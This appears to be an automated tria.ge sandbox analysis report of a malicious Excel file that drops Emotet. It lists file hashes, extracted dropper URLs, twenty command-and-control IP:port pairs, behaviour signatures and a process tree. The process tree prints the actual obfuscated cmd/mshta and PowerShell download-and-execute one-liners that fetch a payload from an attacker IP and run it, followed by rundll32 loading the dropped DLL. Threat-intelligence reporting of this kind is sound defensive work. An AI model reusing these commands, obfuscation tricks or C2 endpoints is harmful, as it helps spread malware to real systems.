Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    146s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-en-20220112
  • submitted
    21/01/2022, 00:20

General

  • Target

    e85aa320fc84a740efaa1e2ce533bcda.xls

  • Size

    70KB

  • MD5

    e85aa320fc84a740efaa1e2ce533bcda

  • SHA1

    3967a9b469537e2d5854727020d298f37edded63

  • SHA256

    9296f02a362c27b1e3a3b4119ede64ea52b6c0430fc70517e5146730c23c987d

  • SHA512

    4968e18fad786be5f207f6124f266ce1844dc7e797688308e692ff7a788ca1558abf6cdcaa5b692b093740b4eeff070aeb14bf18ab1b936a3b6c02e4d8f67572

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

http://0xb907d607/fer/fe2.html

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://185.7.214.7/fer/fe2.png

Extracted

Family

emotet

Botnet

Epoch4

C2

131.100.24.231:80

209.59.138.75:7080

103.8.26.103:8080

51.38.71.0:443

212.237.17.99:8080

79.172.212.216:8080

207.38.84.195:8080

104.168.155.129:8080

178.79.147.66:8080

46.55.222.11:443

103.8.26.102:8080

192.254.71.210:443

45.176.232.124:443

203.114.109.124:443

51.68.175.8:8080

58.227.42.236:80

45.142.114.231:8080

217.182.143.207:443

178.63.25.185:443

45.118.115.99:8080

eck1.plain
ecs1.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Suspicious use of NtCreateProcessExOtherParentProcess 1 IoCs
  • suricata: ET MALWARE W32/Emotet CnC Beacon 3

    suricata: ET MALWARE W32/Emotet CnC Beacon 3

  • Blocklisted process makes network request 5 IoCs
  • Downloads MZ/PE file
  • Sets service image path in registry 2 TTPs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Loads dropped DLL 4 IoCs
  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 1 IoCs
  • Checks processor information in registry 2 TTPs 6 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 5 IoCs
  • Modifies data under HKEY_USERS 41 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 14 IoCs
  • Suspicious use of WriteProcessMemory 22 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\e85aa320fc84a740efaa1e2ce533bcda.xls"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1388
    • C:\Windows\SYSTEM32\cmd.exe
      cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fe2.html
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:3712
      • C:\Windows\system32\mshta.exe
        mshta http://0xb907d607/fer/fe2.html
        3⤵
        • Blocklisted process makes network request
        • Checks computer location settings
        • Suspicious use of WriteProcessMemory
        PID:1332
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://185.7.214.7/fer/fe2.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
          4⤵
          • Blocklisted process makes network request
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:1920
          • C:\Windows\system32\cmd.exe
            "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:1968
            • C:\Windows\SysWow64\rundll32.exe
              C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString
              6⤵
              • Loads dropped DLL
              • Suspicious use of WriteProcessMemory
              PID:3116
              • C:\Windows\SysWOW64\rundll32.exe
                C:\Windows\SysWOW64\rundll32.exe "C:\Users\Public\Documents\ssd.dll",DllRegisterServer
                7⤵
                • Loads dropped DLL
                • Drops file in System32 directory
                • Suspicious use of WriteProcessMemory
                PID:3232
                • C:\Windows\SysWOW64\rundll32.exe
                  C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Klcsnuf\yrdxz.utu",YTZDCvVvO
                  8⤵
                  • Loads dropped DLL
                  • Suspicious use of WriteProcessMemory
                  PID:3220
                  • C:\Windows\SysWOW64\rundll32.exe
                    C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Klcsnuf\yrdxz.utu",DllRegisterServer
                    9⤵
                    • Blocklisted process makes network request
                    • Loads dropped DLL
                    • Suspicious behavior: EnumeratesProcesses
                    PID:3924
        • C:\Windows\system32\WerFault.exe
          C:\Windows\system32\WerFault.exe -u -p 1332 -s 1724
          4⤵
          • Program crash
          • Checks processor information in registry
          • Enumerates system info in registry
          • Suspicious behavior: EnumeratesProcesses
          PID:2684
  • C:\Windows\system32\svchost.exe
    C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p
    1⤵
      PID:3992
    • C:\Windows\System32\WaaSMedicAgent.exe
      C:\Windows\System32\WaaSMedicAgent.exe 503843eb574c6a2367cd6d50ba6299db C25sboTFCk+5gsrP8JQ7OQ.0.1.0.0.0
      1⤵
      • Modifies data under HKEY_USERS
      PID:3052
    • C:\Windows\system32\WerFault.exe
      C:\Windows\system32\WerFault.exe -pss -s 408 -p 1332 -ip 1332
      1⤵
      • Suspicious use of NtCreateProcessExOtherParentProcess
      • Suspicious use of WriteProcessMemory
      PID:336

    Network

    MITRE ATT&CK Enterprise v6

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • memory/1388-138-0x00007FFC69D90000-0x00007FFC69DA0000-memory.dmp

      Filesize

      64KB

    • memory/1388-256-0x00007FFC6C090000-0x00007FFC6C0A0000-memory.dmp

      Filesize

      64KB

    • memory/1388-131-0x00007FFC6C090000-0x00007FFC6C0A0000-memory.dmp

      Filesize

      64KB

    • memory/1388-132-0x00007FFC6C090000-0x00007FFC6C0A0000-memory.dmp

      Filesize

      64KB

    • memory/1388-253-0x00007FFC6C090000-0x00007FFC6C0A0000-memory.dmp

      Filesize

      64KB

    • memory/1388-254-0x00007FFC6C090000-0x00007FFC6C0A0000-memory.dmp

      Filesize

      64KB

    • memory/1388-255-0x00007FFC6C090000-0x00007FFC6C0A0000-memory.dmp

      Filesize

      64KB

    • memory/1388-137-0x00007FFC69D90000-0x00007FFC69DA0000-memory.dmp

      Filesize

      64KB

    • memory/1388-134-0x00007FFC6C090000-0x00007FFC6C0A0000-memory.dmp

      Filesize

      64KB

    • memory/1388-130-0x00007FFC6C090000-0x00007FFC6C0A0000-memory.dmp

      Filesize

      64KB

    • memory/1388-133-0x00007FFC6C090000-0x00007FFC6C0A0000-memory.dmp

      Filesize

      64KB

    • memory/1920-180-0x000002525FAC0000-0x000002525FB04000-memory.dmp

      Filesize

      272KB

    • memory/1920-197-0x000002525FB90000-0x000002525FC06000-memory.dmp

      Filesize

      472KB

    • memory/1920-181-0x0000025247426000-0x0000025247428000-memory.dmp

      Filesize

      8KB

    • memory/1920-177-0x000002525F5B0000-0x000002525F5D2000-memory.dmp

      Filesize

      136KB

    • memory/1920-176-0x0000025247423000-0x0000025247425000-memory.dmp

      Filesize

      8KB

    • memory/1920-175-0x0000025247420000-0x0000025247422000-memory.dmp

      Filesize

      8KB

    • memory/3116-194-0x0000000002EF0000-0x0000000002F16000-memory.dmp

      Filesize

      152KB

    • memory/3220-211-0x0000000004D70000-0x0000000004D96000-memory.dmp

      Filesize

      152KB

    • memory/3232-200-0x0000000004E50000-0x0000000004E76000-memory.dmp

      Filesize

      152KB

    • memory/3232-209-0x0000000005220000-0x0000000005246000-memory.dmp

      Filesize

      152KB

    • memory/3232-198-0x0000000002F20000-0x0000000002F46000-memory.dmp

      Filesize

      152KB

    • memory/3232-202-0x0000000004F30000-0x0000000004F56000-memory.dmp

      Filesize

      152KB

    • memory/3232-204-0x0000000005040000-0x0000000005066000-memory.dmp

      Filesize

      152KB

    • memory/3232-206-0x00000000050A0000-0x00000000050C6000-memory.dmp

      Filesize

      152KB

    • memory/3924-224-0x0000000004D50000-0x0000000004D76000-memory.dmp

      Filesize

      152KB

    • memory/3924-222-0x0000000004C60000-0x0000000004C86000-memory.dmp

      Filesize

      152KB

    • memory/3924-226-0x0000000004E80000-0x0000000004EA6000-memory.dmp

      Filesize

      152KB

    • memory/3924-228-0x0000000004F60000-0x0000000004F86000-memory.dmp

      Filesize

      152KB

    • memory/3924-230-0x0000000005150000-0x0000000005176000-memory.dmp

      Filesize

      152KB

    • memory/3924-220-0x0000000004B80000-0x0000000004BA6000-memory.dmp

      Filesize

      152KB

    • memory/3924-218-0x0000000004B20000-0x0000000004B46000-memory.dmp

      Filesize

      152KB

    • memory/3924-216-0x0000000004910000-0x0000000004936000-memory.dmp

      Filesize

      152KB

    • memory/3924-214-0x00000000042F0000-0x0000000004316000-memory.dmp

      Filesize

      152KB